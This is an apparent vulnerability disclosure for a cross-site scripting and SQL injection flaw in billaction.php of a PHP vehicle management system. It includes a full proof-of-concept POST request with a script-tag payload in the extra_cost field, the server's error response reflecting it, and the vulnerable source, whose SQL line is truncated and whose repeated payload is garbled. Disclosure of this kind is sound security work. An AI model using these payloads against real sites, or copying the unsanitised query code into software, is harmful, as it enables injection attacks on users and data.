

Vehicle Management System billaction.php has Cross-site Scripting (XSS)

The extra-cost parameter in the billaction.php file of the Vehicle Management System is not strictly verified for user input, resulting in the input data can be combined with Sql statements, resulting in the user input information displayed on the page without filtering. As a result, Cross-site Scripting (XSS) exists. Attackers can exploit the vulnerability, threatening user security.

Attack

The screenshot shows a web browser window with the address bar displaying the target URL: `http://192.168.245.129`. The browser's developer tools are open, showing the network tab with a single request and response.

Request:

```
POST /veh/billaction.php?id= HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/veh/index.php
Cookie: PHPSESSID=u9h831tspj16nql0f7dksrenrj
Content-Length: 118
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 127.0.0.1
Connection: Keep-alive

extra_cost=' '(%26%25<zzz><ScRiPt%20>kqGj(9255)</ScRiPt>&oil_co
st=1&submit=&total_cost=1&total_km=1&username=JCfUZQsq
```

Response:

```
HTTP/1.1 200 OK
Date: Fri, 13 Dec 2024 07:51:29 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 202

unsuccessfulYou have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ' '(%&&<zzz><ScRiPt >kqGj(9255)</ScRiPt>', '1')' at line 1
```

Code

```
1 <?php
2
3
4
5
6
7
8 $msg="";
9
10 if(isset($_POST['submit'])){
11     $username= $_POST['username'];
12     $total_km=$_POST['total_km'];
13     $oil_cost=$_POST['oil_cost'];
14     $extra_cost=$_POST['extra_cost'];
15     $total_cost=$_POST['total_cost'];
16 }
17
18
19 $sql="INSERT INTO `tripcost`(`booking_id`,`username`,`total_km`,`oil_cost`,`extra_cost`,`total_cost`) VALUES ("
20
21 $result= mysqli_query($connection,$sql);
22
23 if($result==true){
24     $msg= "<script language='javascript'>
25         swal(
26             'Success!',
27             'Registration Completed!',
28             'success'
29         );
30     </script>";
31 }
32 else{
33     die('unsuccessful' .mysqli_error($connection));
34 }
35
36
37
38 ?>
39
40
41 <<!DOCTYPE html>
42 <html lang="en">
43 <head>
44     <meta charset="UTF-8">
45     <title>Document</title>
46     <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
47
48
49     <link rel="stylesheet" href="sweetalert2/sweetalert2.css">
50     <script src="sweetalert2/sweetalert2.min.js"></script>
51
52     <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
53 </head>
54 <body>
55     <?php echo $msg;
56     ?>
57
58     <script>
59         var timer = setTimeout(function() {
60             window.location='bookinglist.php'
61         }, 1000);
62     </script>
63
64 </body>
65 </html>
```

Payload:

POST /veh/billaction.php?id= HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://127.0.0.1/veh/index.php

Cookie: PHPSESSID=u9h831tspjl6nql0f7dksrenrj

Content-Length: 118

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9
, */*;q=0.8

Accept-Encoding: gzip, deflate, br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/108.0.0.0 Safari/537.36

Host: 127.0.0.1

Connection: Keep-alive

extra_cost=1' " () % 26 % 25 < zzz > < Sc Ri Pt % 20 > kqGj (9255)

< / Sc Ri Pt > & oil _ cost = 1 & submit = & total _ cost = 1 & total _ km = 1 &
username = JCfUZQsq